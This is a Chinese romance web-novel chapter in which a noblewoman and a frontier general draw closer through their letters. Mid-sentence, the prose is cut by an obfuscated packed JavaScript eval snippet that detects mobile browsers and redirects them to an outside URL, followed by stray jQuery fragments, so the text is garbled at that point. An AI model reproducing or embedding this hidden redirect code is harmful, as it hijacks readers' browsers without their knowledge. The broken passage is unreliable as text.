清晨的风从窗缝里钻进来，吹得案上那页未批完的采买单微微颤动。我坐在书桌前，手指无意识地摩挲着镇纸边缘，耳中却一遍遍回放昨夜梦里的马蹄声——仿佛他才刚走，又仿佛已经走了很久。


    春桃端了茶进来，见我盯着窗外发怔，轻声道：“小姐，门房说昨儿夜里有南疆来的加急文书过府，转去了兵部，没在咱们这边落脚。”


    我收回目光，点了点头，没说话。


    她顿了顿，又道：“可将军私信未必随驿报送来主院，兴许是寄到了偏门那边。我去打听过了，今早确实有一封盖着将军府印的信，已经送到凝晖院后巷的收信箱里。”


    我指尖微动，低头看了眼袖口，才发觉自己不知何时已将那枚银簪攥在手里。松开时，掌心留下一道浅浅的印痕。


    “拿进来吧。”


    春桃很快把信取来，递到我手上。信封干燥厚实，边角有些磨损，显然是经了远路。我认得那火漆上的印章纹样，是他随身携带的那一枚。拆开的动作很慢，怕撕破了信纸，也怕看到空白——万一只是军务公文呢？


    但展开后，第一行字就是他的笔迹，熟悉得像旧年抄经时落在纸上的影子。


    “启程三日，已过潼关。沿途平安，不必挂念。”


    短短一句，我看了许久。


    信纸背面还有几句，说南疆粮仓失窃案已有眉目，三营士卒情绪渐稳，只待新粮押运到位便可平息骚乱。另提了一句临溪营近日多雨，帐中潮湿，夜里需燃炭驱湿，让我勿忧。


    他说得轻描淡写，可我知道，哪有这么容易。


    我把信折好，放在案头压住一角，倒了杯热茶慢慢喝着，心却一点点沉下来。他不说难处，正是最难的时候。若一切顺利，何须特意写信报平安？


    春桃站在我身后，小声问：“小姐要回信吗？”


    “写。”我说，“现在就写。”


    我铺开信笺，先以家中事务起头。库房冬衣已备齐三箱，登记造册完毕；药材重新清点过，止血类药物存量充足；苏明轩读书所用炭火每日按时添送，前日还额外拨了厚毯一条。每一条都写得清楚明白，不带半分拖沓。


    写到这里，笔尖忽然顿住。


    我想起昨夜风拍窗棂的声音，想起他临走前那一句“待我归来，与你共证母亲清白”，想起他接过药囊时指腹擦过我掌心的温度。


    墨迹在纸上停了一瞬，我换了口气，继续落笔：


    “你走之后，檐铃响得格外勤。前日夜里刮了一场风，我醒了一次，听见它叮当了好一阵，像是有人站在院外不肯走。”


    写完这句，我自己也怔了一下。从前不会这样说话说一半的话，更不会把心里那些细碎的感觉落在纸上。可如今，竟觉得不说出来，反倒辜负了这份千里之外的牵挂。


    最后一句，我斟酌良久，终于写下：“望你饮食有时，勿彻夜理务。若觉疲累，便歇一歇，不必强撑。”


    吹干墨迹，折好信纸，封入信封，加盖中馈印鉴。我将信交给春桃：“明日一早送去驿站。”


    她接过，低头应下，转身欲走。


    “等等。”我叫住她，“再备一份药膏，同信一起寄去。上次给的快用完了，他没说，但我记得用量。”


    春桃笑了下：“是，小姐想得周全。”


    她退下后，屋里安静下来。我起身走到床边，打开枕下那只药囊，取出里面剩下的几包药粉，一一检查是否受潮。确认无误后，又添了两包新制的安神散——这是林嬷嬷早年教我配的方子，能助眠，也能缓减头痛。


    做完这些，天色已近午。


    自那日后，每隔五日左右，春桃都会去偏院取一次信。有时是清晨送来，有时傍晚才到，时间不定，内容也不尽相同。他不再只写军情进展，偶尔会提到某日行至山道遇雾，马匹滑倒，人无碍；或说查账时发现一处旧档被虫蛀损，费了些工夫才拼出原貌。


    我也渐渐学会从字里读出别的东西。一次信纸边缘有些焦痕，我猜他在帐中连夜审案，灯火太近烧到了纸角；还有一次字迹略显潦草，末尾一句几乎不成形，显然是疲惫至极时硬撑着写完的。


    我回信时便多添了一句：“若实在忙不过来，不必日日回信，我能等。”


    他隔了几日才复信，只写了两个字：“想你。”


    这两个字让我在灯下坐了很久。


    后来我在回信里说起苏明轩**字的事。“近日临帖《兰亭》，虽笔力尚弱，但已有几分神韵。他性子静，肯下功夫，将来或可走科举之路。”写完这一段，我又补了一句：“你当年写的《兰亭序》拓本，我还收着。等你回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171277|195107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来，让他当面请教。”


    话出口那一刻，我才意识到，我已经开始说“等你回来”这样的话了。


    有一次，我夹了一枚压花书签在信里——是前些日子晾干的桂花叶，用丝线细细缠了边。本打算取出重封，可翻遍信纸也没找到更合适的替换词，索性作罢。


    数日后他来信，写道：“所赠叶纹甚雅，已夹于军令册中。每翻一页，似闻秋香。”


    我低头看着这行字，忽然笑出声来。


    春桃听见动静，探头进来问：“小姐可是收到好消息了？”


    我摇头，把信折好放进抽屉，只说：“没有，还是老样子。”


    可心里知道，不一样了。


    我们之间的话，从最初的公务通报，到如今能说一句“檐铃响得勤”，能提一句“想你”，能在信里藏一片叶子、读出一段香气——这些细微的变化，像春水悄悄漫过河岸，无声无息，却早已改了流向。


    今日他又来信，说粮草案关键账册已寻获，幕后之人露出痕迹，但他暂不便透露姓名。另说南疆天气转暖，营中疫病隐患解除，士气回升。末尾写道：“昨夜梦见侯府梨树开花，你站在树下看书，风吹落一瓣在你发间。醒来许久未眠。”


    我读完，放下信，抬头看向窗外。院子里那棵老梨树还未见花苞，枝干依旧枯瘦，可我知道，春天就要来了。


    我把回信写得很慢。告诉他父亲近日精神尚好，晨起仍爱打一套太极；东苑炭火巡查未断，苏明轩每晚读书至二更才歇；库房新进一批棉布，已按例分发各院。


    最后写：“梨花还没开，但风已经开始变软了。你梦里的那一瓣，我替你接着。”


    搁下笔时，天已全黑。


    春桃进来点灯，见我还在案前，劝道：“小姐该歇了，明日还要理事。”


    我嗯了一声，将信封好，交到她手里：“明早送去。”


    她接过，低头看了看信封，忽而笑道：“这回没夹东西吧？”


    “没有。”我淡淡答，“这次什么都没夹。”


    但她走出去后，我独自坐在灯下，伸手摸了摸袖袋——那枚桂花叶书签，其实还藏在里面。我没放进信里，是因为突然舍不得。


    窗外风轻，檐下铜铃轻轻晃了一下，声音很短，像谁低低应了一声。